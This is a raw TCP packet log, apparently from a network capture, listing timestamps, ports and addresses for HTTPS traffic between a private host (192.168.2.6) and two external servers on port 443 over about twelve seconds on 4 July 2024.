Jul 4, 2024 20:19:25.047693968 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.047709942 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.048080921 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.048152924 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.048183918 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.051733971 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.140991926 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.141099930 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.141122103 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.142149925 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.142246008 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.142261982 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.142877102 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.142968893 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.142982960 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.143779039 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.143891096 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.143903971 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.192755938 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.237920046 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.237941027 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.238060951 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.238099098 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.238123894 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.238246918 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.238264084 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.238594055 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.238689899 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.238703966 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.239403963 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.239490986 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.239504099 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.240271091 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.240345955 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.240360975 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.240521908 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.240638971 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.240652084 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.241372108 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.241480112 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.241492033 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.242305994 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.242422104 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.242434978 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.286480904 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.332062006 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332075119 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332227945 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.332262993 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332284927 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332329035 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332361937 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.332379103 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332472086 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.332747936 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332791090 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.332834005 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.333019972 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.333092928 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.333106041 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.333594084 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.333671093 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.333678007 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.334007978 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.334076881 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.334085941 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.334270954 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.334391117 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.334398031 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.334927082 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.335040092 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.335045099 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.381510019 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.425539017 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.425549030 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.425626040 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.425633907 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.425764084 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.425796986 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.425822973 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.425829887 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.425918102 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.426048040 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.426078081 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.426131010 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.426131010 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.426141024 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.426218033 CEST	443	49917	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:25.426295042 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.429508924 CEST	49917	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:25.437510014 CEST	49918	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:25.437529087 CEST	443	49918	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:25.441586018 CEST	49918	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:25.445508957 CEST	49918	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:25.445519924 CEST	443	49918	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:26.021050930 CEST	443	49918	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:26.038342953 CEST	49918	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:26.038423061 CEST	443	49918	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:26.236982107 CEST	443	49918	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:26.237596035 CEST	443	49918	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:26.237668037 CEST	49918	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:26.239068985 CEST	49918	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:26.240632057 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:26.240663052 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:26.240751982 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:26.240995884 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:26.241010904 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:26.918483973 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:26.923657894 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:26.923674107 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:27.927998066 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:27.928062916 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:27.928073883 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:27.928138018 CEST	443	49919	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:27.928184986 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:27.928904057 CEST	49919	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:27.930624962 CEST	49920	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:27.930651903 CEST	443	49920	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:27.930715084 CEST	49920	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:27.930993080 CEST	49920	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:27.931008101 CEST	443	49920	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:28.083517075 CEST	49920	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:28.084673882 CEST	49921	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:28.084707022 CEST	443	49921	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:28.084760904 CEST	49921	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:28.084959984 CEST	49921	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:28.084971905 CEST	443	49921	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:28.128495932 CEST	443	49920	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:28.575948000 CEST	443	49920	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:28.576060057 CEST	443	49920	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:28.576132059 CEST	49920	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:28.576132059 CEST	49920	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:28.653577089 CEST	443	49921	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:28.673526049 CEST	49921	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:28.673549891 CEST	443	49921	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:28.840735912 CEST	443	49921	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:28.840933084 CEST	443	49921	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:28.841021061 CEST	49921	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:28.841295958 CEST	49921	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:28.845520020 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:28.845549107 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:28.845673084 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:28.845973969 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:28.845985889 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:29.455749035 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:29.455900908 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:29.457633972 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:29.457645893 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:29.457873106 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:29.461519957 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:29.504520893 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.289465904 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.289551020 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.289571047 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.289609909 CEST	443	49922	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.289653063 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.290216923 CEST	49922	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.291610956 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.291645050 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.291709900 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.291969061 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.291985035 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.887665033 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:30.891603947 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:30.891622066 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.077673912 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.077708960 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.079330921 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.079365969 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.079380989 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.079427958 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.079433918 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.080965996 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.080975056 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.085167885 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.167020082 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.167156935 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.167170048 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.167790890 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.167979002 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.167988062 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.168648005 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.168740988 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.168750048 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.168844938 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.169359922 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.169368029 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.239623070 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.255960941 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.255971909 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.256129026 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.256139040 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.256546974 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.256584883 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.256618977 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.256628990 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.256774902 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.257514000 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.257523060 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.257611990 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.257623911 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.257735968 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.257826090 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.257833958 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.258362055 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.258486032 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.258492947 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.259212971 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.259300947 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.259308100 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.259603977 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.259691000 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.259700060 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.260428905 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.260528088 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.260536909 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.263967991 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.354403019 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.354557991 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.354568005 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.354607105 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.354700089 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.354708910 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.354938030 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355011940 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355029106 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.355036020 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355066061 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.355201006 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355294943 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.355303049 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355648994 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355688095 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355721951 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.355731964 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.355748892 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.356002092 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.356085062 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.356091976 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.356587887 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.356630087 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.356662035 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.356668949 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.356693029 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.357270002 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.357325077 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.357351065 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.357357025 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.357383013 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.357404947 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.357716084 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.357722998 CEST	443	49923	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:31.357809067 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.357809067 CEST	49923	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:31.380489111 CEST	49924	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:31.380526066 CEST	443	49924	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:31.383733034 CEST	49924	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:31.383924007 CEST	49924	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:31.383940935 CEST	443	49924	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:31.962912083 CEST	443	49924	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:31.965503931 CEST	49924	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:31.965543985 CEST	443	49924	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:32.090020895 CEST	443	49924	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:32.090079069 CEST	443	49924	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:32.090123892 CEST	49924	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:32.090457916 CEST	49924	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:32.091944933 CEST	49925	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:32.091981888 CEST	443	49925	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:32.092046976 CEST	49925	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:32.092283010 CEST	49925	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:32.092298031 CEST	443	49925	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:32.724090099 CEST	443	49925	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:32.729533911 CEST	49925	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:32.729566097 CEST	443	49925	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:33.568546057 CEST	49925	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:33.568664074 CEST	443	49925	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:33.568722963 CEST	49925	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:33.571717024 CEST	49926	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:33.571748972 CEST	443	49926	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:33.571815014 CEST	49926	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:33.572149038 CEST	49926	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:33.572164059 CEST	443	49926	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:34.364984035 CEST	49926	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:34.366951942 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:34.367008924 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:34.367069960 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:34.367444992 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:34.367459059 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:34.408502102 CEST	443	49926	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:34.764185905 CEST	443	49926	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:34.764319897 CEST	443	49926	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:34.764333010 CEST	49926	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:34.764424086 CEST	49926	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.251530886 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.252180099 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.252228022 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.252248049 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.253529072 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.257529020 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.257534027 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.257742882 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.265531063 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.312494993 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.444288015 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.444768906 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.444860935 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.444873095 CEST	443	49927	13.107.42.12	192.168.2.6
Jul 4, 2024 20:19:35.444895983 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.444951057 CEST	49927	443	192.168.2.6	13.107.42.12
Jul 4, 2024 20:19:35.449532032 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:35.449552059 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:35.449896097 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:35.453527927 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:35.453538895 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.092255116 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.092329025 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.094983101 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.095000029 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.095226049 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.097043037 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.144500017 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.731765985 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.731862068 CEST	443	49928	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.732004881 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.732516050 CEST	49928	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.733971119 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.734008074 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:36.735969067 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.736162901 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:36.736179113 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.348078012 CEST	443	49929	13.107.139.11	192.168.2.6
Jul 4, 2024 20:19:37.353415966 CEST	49929	443	192.168.2.6	13.107.139.11
Jul 4, 2024 20:19:37.353442907 CEST	443	49929	13.107.139.11	192.168.2.6
